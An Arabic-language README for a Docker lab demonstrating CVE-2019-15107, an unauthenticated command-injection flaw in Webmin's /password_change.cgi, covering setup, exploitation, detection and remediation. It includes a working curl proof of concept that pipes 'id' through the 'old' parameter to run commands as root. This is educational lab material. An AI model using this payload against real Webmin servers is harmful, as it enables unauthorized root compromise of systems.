
مختبر قائم على Docker يوضح CVE-2019-15107، ثغرة تنفيذ الأوامر عن بُعد (RCE) غير المصادق عليها في Webmin، ويغطي النشر والاستغلال والكشف والمعالجة.
يوضح هذا المشروع الثغرة الأمنية CVE-2019-15107، وهي ثغرة حرجة لتنفيذ الأوامر عن بُعد (RCE) في Webmin، ضمن بيئة Docker معزولة ومُتحكَّم بها. يغطي المختبر دورة حياة الثغرة الأمنية الكاملة بدءًا من النشر والاستغلال وصولًا إلى الكشف والمعالجة.
نظام التشغيل (بيئة المضيف المحلي)
توفر المنفذ: يجب أن يكون المنفذ 10000 متاحًا على الجهاز المضيف.
استنسخ أو نزّل مستودع هذا المشروع إلى جهازك المحلي.
افتح الطرفية وانتقل إلى دليل المشروع الذي يحتوي على docker-compose.yml.
تأكد من أن Docker Desktop نشط على نظامك.
نفّذ الأمر التالي من الدليل الجذر للمشروع لسحب وتشغيل الحاوية المُصابة في الوضع المنفصل: docker-compose up -d
يمكنك التحقق من حالة الحاوية بتنفيذ: docker compose ps
ادخل إلى واجهة التطبيق في متصفح الويب على: https://localhost:10000 (اقبل تحذير شهادة SSL المحلية).
لإيقاف وإزالة بيئة الحاوية قيد التشغيل، نفّذ: docker-compose down
توجد الثغرة الأمنية في نقطة نهاية تغيير كلمة المرور غير المُصادَق عليها (/password_change.cgi)، حيث تُمرَّر معاملات الإدخال مباشرةً إلى صدفة النظام دون تنقية مناسبة.
نفّذ الأمر التالي في الطرفية (PowerShell/Bash) لتنفيذ أمر تشخيصي (id) كإثبات للمفهوم:
curl.exe -k https://localhost:10000/password_change.cgi -e "https://localhost:10000" -d "user=root&pam=&old=test|id&new1=test&new2=test"
الاستغلال الناجح: يعالج الخادم حرف الأنبوب المُحقَن (|)، مما يؤدي إلى تنفيذ أمر غير مُصادَق عليه بصلاحيات الجذر (root). ستُخرج الطرفية دليل استجابة HTML إلى جانب ملاحظات صدفة الحاوية (uid=0(root))، مما يؤكد نجاح تنفيذ الأوامر عن بُعد.
تحديد الإصدار: فحص إصدار نسخة Webmin قيد التشغيل للتحقق مما إذا كان يقع ضمن النطاق المُصاب (1.880 إلى 1.920).
مراقبة الشبكة / السجلات: فحص سجلات الوصول لخادم الويب أو سجلات WAF بحثًا عن طلبات HTTP POST الواردة الموجهة إلى /password_change.cgi التي تحتوي على أحرف تحكم صدفية مشبوهة (مثل | أو ;) داخل قيم المعاملات.
الترقية: قم بترقية Webmin إلى الإصدار 1.930 أو أعلى، والذي ينقّي المدخلات المُمرَّرة إلى الوحدات الأساسية بشكل صحيح.
التحكم في الوصول: قيّد الوصول الشبكي إلى المنفذ 10000 باستخدام جدران الحماية أو أنفاق VPN لمنع التعرض المباشر للشبكات غير الموثوقة.
خدمة Docker Daemon لا تعمل: إذا واجهت أخطاء في الاتصال، فتأكد من أن Docker Desktop قد بدأ بالكامل وتحقق باستخدام docker version.
تعارض المنفذ (10000 قيد الاستخدام بالفعل): تأكد من عدم وجود تطبيق أو خدمة محلية أخرى تشغل المنفذ 10000.
خطأ في صياغة curl في PowerShell: استخدم curl.exe بدلًا من curl القياسي في Windows PowerShell لتجنب مشكلات تعيين المعاملات مع الاسم المستعار Invoke-WebRequest المدمج في PowerShell.